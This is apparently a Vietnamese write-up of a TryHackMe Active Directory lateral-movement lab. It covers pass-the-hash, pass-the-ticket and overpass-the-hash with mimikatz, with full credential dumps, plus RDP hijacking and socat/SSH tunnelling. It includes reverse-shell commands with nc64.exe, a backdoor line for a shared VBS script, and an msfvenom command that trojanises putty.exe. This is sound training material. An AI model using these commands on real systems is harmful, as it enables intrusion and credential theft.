C:\Windows\system32>

Có thể thấy, câu lệnh whoami cho ra kết quả là user t2_felicia.dean mặc dù access token là của t1_toby.beck như đã đề cập ở Pass-the-Hash (PtH):

C:\Windows\system32>whoami
whoami
za\t2_felicia.dean

Sau khi đã có reverse shell với access token thì ta có thể sử dụng winrs.exe dưới danh nghĩa của t1_toby.beck để kết nối đến host thmiis nhằm lấy flag.

C:\Windows\system32>winrs.exe -r:THMIIS.za.tryhackme.com cmd
winrs.exe -r:THMIIS.za.tryhackme.com cmd
Microsoft Windows [Version 10.0.17763.1098]
(c) 2018 Microsoft Corporation. All rights reserved.
 
C:\Users\t1_toby.beck>

Success

THM{NO_PASSWORD_NEEDED}

Pass-the-Ticket

Trích xuất các ticket và các session key từ bộ nhớ sử dụng mimikatz:

za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>mimikatz.exe               
 
  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53                   
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                                    
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )       
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz                        
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )      
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/ 
  
mimikatz # privilege::debug                                                    
Privilege '20' OK                                                              
 
mimikatz # sekurlsa::tickets /export
 
Authentication Id : 0 ; 580550 (00000000:0008dbc6)                             
Session           : RemoteInteractive from 3                                   
User Name         : t1_toby.beck                                               
Domain            : ZA                                                         
Logon Server      : THMDC                                                      
Logon Time        : 10/3/2024 3:41:18 PM                                       
SID               : S-1-5-21-3330634377-1326264276-632209373-4607              
 
         * Username : t1_toby.beck                                             
         * Domain   : ZA.TRYHACKME.COM                                         
         * Password : (null)                                                   
 
        Group 0 - Ticket Granting Service                                      
 
        Group 1 - Client Ticket ?                                              
 
        Group 2 - Ticket Granting Ticket                                       
 
Authentication Id : 0 ; 996 (00000000:000003e4)                                
Session           : Service from 0                                             
User Name         : THMJMP2$                                                   
Domain            : ZA                                                         
Logon Server      : (null)                                                     
Logon Time        : 10/3/2024 3:31:09 PM                                       
SID               : S-1-5-20                                                   
 
         * Username : thmjmp2$                                                 
         * Domain   : ZA.TRYHACKME.COM                                         
         * Password : (null)                                                   
 
        Group 0 - Ticket Granting Service                                      
	    [00000000]                                                            
           Start/End/MaxRenew: 10/3/2024 3:32:27 PM ; 10/4/2024 1:32:03 AM ; 10/10/2024 3:32:03 PM                                                            
           Service Name (02) : ldap ; THMDC.za.tryhackme.com ; @ ZA.TRYHACKME.COM                                                                             
           Target Name  (02) : ldap ; THMDC.za.tryhackme.com ; @ ZA.TRYHACKME.COM                                                                             
           Client Name  (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM                   
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent; renewable ; forwardable ;                                                   
           Session Key       : 0x00000012 - aes256_hmac                        b543afb7b07286accb3ae372c92c1f720d53064d77ee87d5e9efc9bbcffee621  
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2       
[...]                                                                          
           * Saved to file [0;3e4]-0-0-40a50000-THMJMP2$@ldap-THMDC.za.tryhackme.com.kirbi ! 
		[00000001]                                                            
           Start/End/MaxRenew: 10/3/2024 3:32:24 PM ; 10/4/2024 1:32:03 AM ; 10/10/2024 3:32:03 PM                                                            
           Service Name (02) : host ; THMJMP2.za.tryhackme.com ; @ ZA.TRYHACKME.COM                                                                           
           Target Name  (02) : host ; THMJMP2.za.tryhackme.com ; @ ZA.TRYHACKME.COM                                                                           
           Client Name  (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM                   
           Flags 40a10000    : name_canonicalize ; pre_authent ; renewable ; forwardable ;                                                                    
           Session Key       : 0x00000012 - aes256_hmac                        14d65a298018907dbdeaff0ce77215c2ccf5cd471ce54a8b8216d8d31182da73  
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 4       
[...]                                                                          
           * Saved to file [0;3e4]-0-1-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi ! 
		[00000002]                                                           
           Start/End/MaxRenew: 10/3/2024 3:32:23 PM ; 10/4/2024 1:32:03 AM ; 10/10/2024 3:32:03 PM                                                            
           Service Name (02) : cifs ; THMDC.za.tryhackme.com ; @ ZA.TRYHACKME.COM                                                                             
           Target Name  (02) : cifs ; THMDC.za.tryhackme.com ; @ ZA.TRYHACKME.COM                                                                             
           Client Name  (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM                   
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent; renewable ; forwardable ;                                                   
           Session Key       : 0x00000012 - aes256_hmac                        e4e1313d5bf732a141229df3bfa35d062be7b1fa02fbfb91dda71109ca8669bb  
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2       
[...]                                                                          
           * Saved to file [0;3e4]-0-2-40a50000-THMJMP2$@cifs-THMDC.za.tryhackme.com.kirbi !                                                                  
 
        Group 1 - Client Ticket ?                                              
 
        Group 2 - Ticket Granting Ticket                                       
         [00000000]                                                            
           Start/End/MaxRenew: 10/3/2024 3:32:23 PM ; 10/4/2024 1:32:03 AM ; 10/10/2024 3:32:03 PM                                                            
           Service Name (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM  
           Target Name  (--) : @ ZA.TRYHACKME.COM                              
           Client Name  (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM ( $$Delegation Ticket$$ )                                                                        
           Flags 60a10000    : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;                                                        
           Session Key       : 0x00000012 - aes256_hmac                        d251148e53a1e6c55f21dd0650734e34bca6251309a405db99684987df50b78d  
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2       
[...]                                                                          
           * Saved to file [0;3e4]-2-0-60a10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi ! [00000001]                                                            
           Start/End/MaxRenew: 10/3/2024 3:32:03 PM ; 10/4/2024 1:32:03 AM ; 10/10/2024 3:32:03 PM                                                            
           Service Name (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM  
           Target Name  (02) : krbtgt ; za.tryhackme.com ; @ ZA.TRYHACKME.COM  
           Client Name  (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM ( za.tryhackme.com)                                                                             
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;                                                          
           Session Key       : 0x00000012 - aes256_hmac                        
             f2f8340a402267f211f00fb1ac2dcf3b6dff54b31c9c3da4707015c391b103e0  
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2       
[...]                                                                          
           * Saved to file [0;3e4]-2-1-40e10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi !                                                                      
 
Authentication Id : 0 ; 2029515 (00000000:001ef7cb)                            
Session           : NetworkCleartext from 0                                    
User Name         : t2_felicia.dean                                            
Domain            : ZA                                                         
Logon Server      : THMDC                                                      
Logon Time        : 10/3/2024 3:56:03 PM                                       
SID               : S-1-5-21-3330634377-1326264276-632209373-4605              
 
         * Username : t2_felicia.dean                                          
         * Domain   : ZA.TRYHACKME.COM                                         
         * Password : (null)                                                   
 
        Group 0 - Ticket Granting Service                                      
 
        Group 1 - Client Ticket ?                                              
 
        Group 2 - Ticket Granting Ticket                                       
         [00000000]                                                            
           Start/End/MaxRenew: 10/3/2024 3:56:03 PM ; 10/4/2024 1:56:03 AM ; 10/10/2024 3:56:03 PM                                                            
           Service Name (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM  
           Target Name  (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM  
           Client Name  (01) : t2_felicia.dean ; @ ZA.TRYHACKME.COM ( ZA.TRYHACKME.COM )                                                                      
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;                                                          
           Session Key       : 0x00000012 - aes256_hmac                        d515e78709f9e9a523661fe48649ee8655504b5a8c33183b8b5ca3daacb3fab3  
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2       
[...]                                                                          
           * Saved to file [0;1ef7cb]-2-0-40e10000-t2_felicia.dean@krbtgt-ZA.TRYHACKME.COM.kirbi !                                                            
 
Authentication Id : 0 ; 999 (00000000:000003e7)                                
Session           : UndefinedLogonType from 0                                  
User Name         : THMJMP2$                                                   
Domain            : ZA                                                         
Logon Server      : (null)                                                     
Logon Time        : 10/3/2024 3:31:09 PM                                       
SID               : S-1-5-18                                                   
 
         * Username : thmjmp2$                                                 
         * Domain   : ZA.TRYHACKME.COM                                         
         * Password : (null)                                                   
 
        Group 0 - Ticket Granting Service                                      
         [00000000]                                                            
           Start/End/MaxRenew: 10/3/2024 3:32:26 PM ; 10/4/2024 1:32:26 AM ; 10/10/2024 3:32:26 PM                                                            
           Service Name (02) : ldap ; THMDC.za.tryhackme.com ; ZA.TRYHACKME.COM; @ ZA.TRYHACKME.COM                                                          
           Target Name  (02) : ldap ; THMDC.za.tryhackme.com ; ZA.TRYHACKME.COM; @ ZA.TRYHACKME.COM                                                          
           Client Name  (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM ( ZA.TRYHACKME.COM)                                                                             
           Flags 40a50000    : name_canonicalize ; ok_as_delegate ; pre_authent; renewable ; forwardable ;                                                   
           Session Key       : 0x00000012 - aes256_hmac                        04588c02af347fe92010f2bd1d2b2b0e0c31b45daf0a2bd4b75b75d6e2c9ca16  
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2       
[...]                                                                          
           * Saved to file [0;3e7]-0-0-40a50000-THMJMP2$@ldap-THMDC.za.tryhackme.com.kirbi !                                                                  
 
        Group 1 - Client Ticket ?                                              
         [00000000]                                                            
           Start/End/MaxRenew: 10/3/2024 3:55:54 PM ; 10/3/2024 4:10:54 PM ; 10/10/2024 3:32:26 PM                                                            
           Service Name (01) : thmjmp2$ ; @ (null)                             
           Target Name  (10) : t2_felicia.dean@za.tryhackme.com ; @ (null)     
           Client Name  (10) : t2_felicia.dean@za.tryhackme.com ; @ ZA.TRYHACKME.COM                                                                          
           Flags 00a10000    : name_canonicalize ; pre_authent ; renewable ;   
           Session Key       : 0x00000012 - aes256_hmac                        d1c1ef2ed1d44ca6077ac7ea8fea232e27ebc7213d4d46f5e115cb90cdee1ea9  
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 4       
[...]                                                                          
           * Saved to file [0;3e7]-1-0-00a10000.kirbi !                        
 
        Group 2 - Ticket Granting Ticket                                       
         [00000000]                                                            
           Start/End/MaxRenew: 10/3/2024 3:32:26 PM ; 10/4/2024 1:32:26 AM ; 10/10/2024 3:32:26 PM                                                            
           Service Name (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM  
           Target Name  (02) : krbtgt ; ZA.TRYHACKME.COM ; @ ZA.TRYHACKME.COM  
           Client Name  (01) : THMJMP2$ ; @ ZA.TRYHACKME.COM ( ZA.TRYHACKME.COM)                                                                             
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;                                                          
           Session Key       : 0x00000012 - aes256_hmac                        85bdec43e7a07cc135ff3523986adea3890f11e6b434b9c58a25df0f5b043d85  
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2       
[...]                                                                          
           * Saved to file [0;3e7]-2-0-40e10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi !  

Có thể thấy, ta thu được các thông tin sau:

  • Authentication session của t1_toby.beck nhưng không có ticket và session key.
  • Một số TGS và TGT của thmjmp2$. Ngoài ra còn có các client ticket trong một số session khác của user này.
  • Một TGT của t2_felicia.dean.

Tất cả các ticket đều được lưu vào file:

za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>dir
 Volume in drive C has no label.
 Volume Serial Number is F4B0-FCB9
 
 Directory of C:\Users\t2_felicia.dean
 
10/03/2024  03:57 PM    <DIR>          .
10/03/2024  03:57 PM    <DIR>          ..
06/22/2022  02:06 PM    <DIR>          .ssh
06/15/2022  06:08 AM    <DIR>          Contacts
06/15/2022  06:08 AM    <DIR>          Desktop
06/15/2022  06:08 AM    <DIR>          Documents
06/15/2022  06:08 AM    <DIR>          Downloads
06/15/2022  06:08 AM    <DIR>          Favorites
06/15/2022  06:08 AM    <DIR>          Links
08/10/2021  03:22 PM         1,355,680 mimikatz.exe
06/15/2022  06:08 AM    <DIR>          Music
06/15/2022  06:08 AM    <DIR>          Pictures
06/15/2022  06:08 AM    <DIR>          Saved Games
06/15/2022  06:08 AM    <DIR>          Searches
06/15/2022  06:08 AM    <DIR>          Videos
10/03/2024  03:51 PM             1,587 [0;15f9d2]-1-0-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024  03:51 PM             1,615 [0;15fa1c]-1-0-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024  03:51 PM             1,651 [0;171ed9]-1-0-40a10000-t1_toby.beck2@TERMSRV-THMJMP2.za.tryhackme.com.kirbi
10/03/2024  03:57 PM             1,583 [0;1ef7cb]-2-0-40e10000-t2_felicia.dean@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024  03:57 PM             1,611 [0;3e4]-0-0-40a50000-THMJMP2$@ldap-THMDC.za.tryhackme.com.kirbi
10/03/2024  03:57 PM             1,615 [0;3e4]-0-1-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024  03:57 PM             1,611 [0;3e4]-0-2-40a50000-THMJMP2$@cifs-THMDC.za.tryhackme.com.kirbi
10/03/2024  03:57 PM             1,497 [0;3e4]-2-0-60a10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024  03:57 PM             1,497 [0;3e4]-2-1-40e10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024  03:57 PM             1,647 [0;3e7]-0-0-40a50000-THMJMP2$@ldap-THMDC.za.tryhackme.com.kirbi
10/03/2024  03:57 PM             1,593 [0;3e7]-1-0-00a10000.kirbi
10/03/2024  03:57 PM             1,497 [0;3e7]-2-0-40e10000-THMJMP2$@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024  03:57 PM             1,587 [0;435f9]-1-0-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024  03:57 PM             1,587 [0;43b3b]-1-0-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024  03:57 PM             1,587 [0;43e16]-1-0-40a10000-THMJMP2$@host-THMJMP2.za.tryhackme.com.kirbi
10/03/2024  03:53 PM             1,583 [0;5d5af]-2-0-40e10000-t2_felicia.dean@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024  03:50 PM             1,719 [0;8dbc6]-0-0-40a50000-t1_toby.beck@LDAP-THMDC.za.tryhackme.com.kirbi
10/03/2024  03:50 PM             1,569 [0;8dbc6]-2-0-40e10000-t1_toby.beck@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024  03:50 PM             1,705 [0;a5642]-0-0-40a50000-t1_toby.beck1@LDAP-THMDC.za.tryhackme.com.kirbi
10/03/2024  03:50 PM             1,555 [0;a5642]-2-0-40e10000-t1_toby.beck1@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024  03:50 PM             1,705 [0;bba1d]-0-0-40a50000-t1_toby.beck2@LDAP-THMDC.za.tryhackme.com.kirbi
10/03/2024  03:50 PM             1,555 [0;bba1d]-2-0-40e10000-t1_toby.beck2@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024  03:51 PM             1,705 [0;d15f4]-0-0-40a50000-t1_toby.beck3@LDAP-THMDC.za.tryhackme.com.kirbi
10/03/2024  03:51 PM             1,555 [0;d15f4]-2-0-40e10000-t1_toby.beck3@krbtgt-ZA.TRYHACKME.COM.kirbi
10/03/2024  03:51 PM             1,705 [0;e79fe]-0-0-40a50000-t1_toby.beck4@LDAP-THMDC.za.tryhackme.com.kirbi
10/03/2024  03:51 PM             1,555 [0;e79fe]-2-0-40e10000-t1_toby.beck4@krbtgt-ZA.TRYHACKME.COM.kirbi
              27 File(s)      1,397,356 bytes
              14 Dir(s)   9,282,727,936 bytes free

Sử dụng mimikatz để tấn công Pass-the-Ticket nhằm chèn access token vào bộ nhớ của session hiện tại từ một ticket đã trích xuất:

mimikatz # kerberos::ptt [0;e79fe]-2-0-40e10000-t1_toby.beck4@krbtgt-ZA.TRYHACKME.COM.kirbi
 
* File: '[0;e79fe]-2-0-40e10000-t1_toby.beck4@krbtgt-ZA.TRYHACKME.COM.kirbi': OK

Sử dụng klist để kiểm tra:

za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>klist
 
Current LogonId is 0:0x1ef7cb
 
Cached Tickets: (1)
 
#0>     Client: t1_toby.beck4 @ ZA.TRYHACKME.COM
        Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent na
me_canonicalize
        Start Time: 10/3/2024 15:42:03 (local)
        End Time:   10/4/2024 1:42:03 (local)
        Renew Time: 10/10/2024 15:42:03 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

Overpass-the-Hash/Pass-the-Key

Trích xuất khóa mã hóa trong bộ nhớ sử dụng mimikatz:

za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>mimikatz.exe               
 
  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53                   
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                                    
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )       
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz                        
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )      
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/      
 
mimikatz # privilege::debug                                                    
Privilege '20' OK                                                              
 
mimikatz # sekurlsa::ekeys                                                     
 
Authentication Id : 0 ; 2028743 (00000000:001ef4c7)                            
Session           : Service from 0                                             
User Name         : sshd_9788                                                  
Domain            : VIRTUAL USERS                                              
Logon Server      : (null)                                                     
Logon Time        : 10/3/2024 3:55:54 PM                                       
SID               : S-1-5-111-3847866527-469524349-687026318-516638107-11251895
41-9788                                                                        
 
         * Username : THMJMP2$                                                 
         * Domain   : za.tryhackme.com                                         
         * Password : 42 11 75 ed 17 cc aa b6 9d f7 00 59 8f 54 49 a4 5d cf 44 c9 0c cc 22 ee 00 a3 dd cf 37 6a 82 1a e0 a6 d5 77 6d 5d 9a 87 0e 62 67 56 89 cc cf a1 56 f7 30 67 79 7f 7a 8a c5 9e 72 91 58 10 89 67 92 e8 99 0b fd ca 6d c2 79 cd e3 09 9f c5 e2 b4 f1 ec 70 2d 49 0d 6d f5 08 d1 5e fe ce fb cc bc c1 b2 96 5f ee 26 5c 20 b0 99 70 27 e6 18 53 c5 ed d0 90 96 f4 3a cd 08 cf 02 3a 9b 31 9a 0e aa 4f 20 96 74 ba 54 da b4 d6 67 2a 44 92 8d e6 09 31 0d d7 5b cb 8f 16 84 92 de bc c1 78 14 32 7a 3c e2 3d 1a 67 35 89 b2 b0 ad 78 47 62 0d 5b 67 c4 1b e0 22 df 99 c8 9f 20 e5 18 20 ab 1e d8 28 21 1d 22 e9 d6 24 49 66 bd e1 20 7b ce dc 26 b7 ce 1a 6b e1 90 7a db da c8 db d9 47 ec 5a e6 ca 79 ff 38 dc 48 a4 03 d5 63 18 e7 de 9e a6 fb 48                                                 
         * Key List :                                                          
           aes256_hmac       1a328314b04c09563e5100207ef9cdfcabf485dd1d9f4f7e57f56d3895605ece                                                                 
           aes128_hmac       8d736e5cb2847235117b79193d07c373                  
           rc4_hmac_nt       1566b5da026853d226ef612d0e63f4a9                  
           rc4_hmac_old      1566b5da026853d226ef612d0e63f4a9                  
           rc4_md4           1566b5da026853d226ef612d0e63f4a9                  
           rc4_hmac_nt_exp   1566b5da026853d226ef612d0e63f4a9                  
           rc4_hmac_old_exp  1566b5da026853d226ef612d0e63f4a9         
         
Authentication Id : 0 ; 580550 (00000000:0008dbc6)                             
Session           : RemoteInteractive from 3                                   
User Name         : t1_toby.beck                                               
Domain            : ZA                                                         
Logon Server      : THMDC                                                      
Logon Time        : 10/3/2024 3:41:18 PM                                       
SID               : S-1-5-21-3330634377-1326264276-632209373-4607              
 
         * Username : t1_toby.beck                                             
         * Domain   : ZA.TRYHACKME.COM                                         
         * Password : (null)                                                   
         * Key List :                                                          
           aes256_hmac       6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e                                                                 
           rc4_hmac_nt       533f1bd576caa912bdb9da284bbc60fe                  
           rc4_hmac_old      533f1bd576caa912bdb9da284bbc60fe                  
           rc4_md4           533f1bd576caa912bdb9da284bbc60fe                  
           rc4_hmac_nt_exp   533f1bd576caa912bdb9da284bbc60fe                  
           rc4_hmac_old_exp  533f1bd576caa912bdb9da284bbc60fe                

Sử dụng RC4 hash để tạo reverse shell có access token của t1_toby.beck

mimikatz # sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /rc4:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.77.50 4445"
user    : t1_toby.beck
domain  : za.tryhackme.com
program : c:\tools\nc64.exe -e cmd.exe 10.50.77.50 4445
impers. : no
NTLM    : 533f1bd576caa912bdb9da284bbc60fe
  |  PID  5816
  |  TID  10012
  |  LSA Process is now R/W
  |  LUID 0 ; 2628091 (00000000:002819fb)
  \_ msv1_0   - data copy @ 0000029910789360 : OK !
  \_ kerberos - data copy @ 000002991152A558
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 00000299115174F8 (32) -> null

Abusing User Behaviour

Abusing Writable Shares

Nếu tồn tại một network share có quyền ghi, chúng ta có thể upload bất kỳ file nào có chứa payload và ép user thực thi chúng.

Một trường hợp điển hình là các shortcut trỏ đến một script hoặc một file thực thi ở trên network share. Mục đích của việc này là giúp cho user có thể thực thi được các script hoặc file thực thi được quản trị bởi admin mà không cần phải sao chép hoặc cài đặt ở trên từng máy của user.

Mặc dù vậy, khi user mở shortcut ở trên workstation, script hoặc file thực thi sẽ được sao chép từ server đến thư mục %temp% của workstation rồi mới được thực thi. Vì thế, bất kỳ payload nào cũng sẽ được thực thi trong ngữ cảnh của user đang login ở trên workstation.

Backdooring .vbs Scripts

Ví dụ, nếu tài nguyên chia sẻ là một VBS script ở trên một share có tên là myshare, chúng ta có thể upload một bản sao của nc64.exe ở trên myshare rồi chèn đoạn sau vào script được chia sẻ:

CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True

Câu lệnh trên sẽ sao chép nc64.exe từ myshare vào thư mục %temp% của bất kỳ nạn nhân nào thực thi script và gửi một reverse shell về cho attacker.

Backdooring .exe Files

Nếu tài nguyên chia sẻ là một file thực thi, chúng ta có thể download nó từ share về rồi sử dụng msfvenom để chèn backdoor vào trong đó.

Ví dụ, để tạo backdoor ở bên trong chương trình putty.exe thì ta có câu lệnh sau:

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe

Sau khi chèn backdoor thì ta ghi đè vào chương trình putty.exe có ở trên share rồi chờ nạn nhân thực thi nó để nhận reverse shell.

RDP Hijacking

Khi một admin sử dụng RDP mà đóng RDP client thay vì log out, session vẫn sẽ còn mở vô thời hạn ở trên RDP server. Nếu chúng ta có đặc quyền SYSTEM ở trên Windows Server 2016 trở xuống, chúng ta có thể chiếm quyền kiểm soát bất kỳ RDP session nào mà không cần password.

Ví dụ, liệt kê các RDP session ở trên một CMD console dưới quyền SYSTEM (chọn “Run as administrator” khi chạy CMD hoặc sử dụng PsExec.exe -s cmd):

C:\> query user
 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>administrator         rdp-tcp#6           2  Active          .  4/1/2022 4:09 AM
 luke                                      3  Disc            .  4/6/2022 6:51 AM

Có thể thấy, chúng ta kết nối RDP sử dụng tài khoản admin với tên session là rdp-tcp#6.

Đồng thời, ta cũng thấy một user có tên là luke có một session đang mở với ID là 3 nhưng đã ngắt kết nối (trạng thái Disc). Nếu chiếm quyền kiểm soát session này, người dùng đang sử dụng có thể bị ép thoát ra khỏi session và khiến cho họ chú ý. Thay vào đó, ta nên sử dụng chương trình tscon.exe và chỉ định ID của RDP session mà ta cần kiểm soát cũng như là tên của session hiện tại:

tscon 3 /dest:rdp-tcp#6

Câu lệnh trên giúp chuyển kết nối của RDP session với ID là 3 của luke đến RDP session có tên là /dest:rdp-tcp#6 của admin. Sau đó, chúng ta sẽ khôi phục RDP session của luke và kết nối đến nó ngay lập tức.

Note

Windows Server 2019 không cho phép chúng ta kết nối đến RDP session của user khác mà không cung cấp mật khẩu.

Lab

Truy cập vào thmjmp2 sử dụng tài khoản của một Tier 2 Admin:

xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_kelly.blake /p:8LXuPeNHZFFG

Chạy PsExec.exe để chuyển sang ngữ cảnh của SYSTEM nhưng gặp lỗi “Access is denied” như sau:

Hóa ra, CMD sử dụng câu lệnh `PsExec.exe` ở trên không chạy dưới quyền của Administrator.

Sau khi chạy CMD dưới quyền của Administrator thì chuyển sang ngữ cảnh của SYSTEM thành công:

Liệt kê các RDP session:

Chuyển sang RDP session của `t1_toby.beck4:

Flag nằm trong một file hình ảnh:

THM{NICE_WALLPAPER}

Port Forwarding

Ở trong thực tế, admin có thể chặn một số port vì lý do bảo mật hoặc triển khai phân vùng mạng khiến cho chúng ta không thể truy cập SMB, RDP, WinRM hoặc các port của RPC.

Để vượt qua điều này, chúng ta có thể sử dụng các kỹ thuật port forwarding bằng cách lạm dụng một số host có nhiều quyền trong network để làm cầu nối.

SSH Tunnelling

Chúng ta có thể sử dụng một tính năng của SSH có tên là SSH tunneling1.

Ví dụ, nếu firewall chặn port 3389 ở trên server và PC-1 (là một host mà ta đã kiểm soát) có quyền truy cập vào port này thì ta có thể sử dụng PC-1 để mở một “đường hầm SSH” từ máy của kẻ tấn công đến port 3389 của server mà ta muốn truy cập.

Tại sao không sử dụng PC-1 để kết nối RDP trực tiếp đến server?

Trong trường hợp ta chỉ có truy cập ở dạng terminal đến PC-1 thì điều đó là không khả thi. Một trường hợp khác là khi ta cần thực thi một exploit được viết bằng một ngôn ngữ không được hỗ trợ ở trên PC-1.

Port Forwarding With socat

Trong trường hợp SSH không khả dụng thì chúng ta có thể sử dụng socat. Mặc dù nó không linh hoạt như SSH nhưng socat cho phép chúng ta chuyển tiếp port một cách dễ dàng hơn nhiều. Tuy nhiên, điểm yếu của socat là ta cần phải chuyển nó đến host được dùng làm cầu nối (PC-1) và điều này dễ bị phát hiện.

Cú pháp cơ bản để thực hiện port forwarding sử dụng socat là:

socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321

Câu lệnh trên sẽ mở port 1234 ở trên một host và chuyển tiếp bất kỳ kết nối nào từ port đó đến port 4321 của host 1.1.1.1. Option fork cho phép chúng ta fork một process mới cho mỗi kết nối nhận được. Nếu không sử dụng option này, socat sẽ đóng khi kết nối đầu tiên kết thúc.

Đối với ví dụ trên, nếu chúng ta muốn mở port 3389 ở trên PC-1 và forward tất cả các kết nối từ đó đến port 3389 ở trên host 3.3.3.3 thì sử dụng socat như sau:

C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389

Minh họa:

Chúng ta cần cấu hình tường lửa để mở port 3389 ở trên PC-1 nhằm cho phép tất cả các kết nối đến port này:

netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389

Tương tự, nếu ta muốn expose port 80 từ máy của attacker thì sử dụng câu lệnh như sau:

C:\>socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80

Minh họa:

Dynamic Port Forwarding and SOCKS

Trong trường hợp ta muốn forward nhiều port ở trên một máy hoặc nhiều port ở trên nhiều máy thông qua một pivot host duy nhất, ta cần sử dụng dynamic port forwarding.

Sử dụng SSH để thiết lập reverse dynamic port forwarding:

C:\> ssh tunneluser@1.1.1.1 -R 9050 -N

Câu lệnh trên sẽ khởi chạy một SOCK proxy ở port 9050 và chuyển tiếp bất kỳ kết nối nào thông qua SSH tunnel.

Lab

Mục tiêu đầu tiên là kết nối RDP đến host thmiis. Sử dụng nmap và thấy port 3389 đã bị filtered:

root@ip-10-10-73-181:~# nmap -p 3389 thmiis.za.tryhackme.com
 
Starting Nmap 7.60 ( https://nmap.org ) at 2024-10-04 17:16 BST
Nmap scan report for thmiis.za.tryhackme.com (10.200.78.201)
Host is up (0.0023s latency).
rDNS record for 10.200.78.201: ip-10-200-78-201.eu-west-1.compute.internal
 
PORT     STATE    SERVICE
3389/tcp filtered ms-wbt-server

Sử dụng host thmjmp2 làm pivot host, chúng ta chạy socat như sau để thực hiện port forwarding:

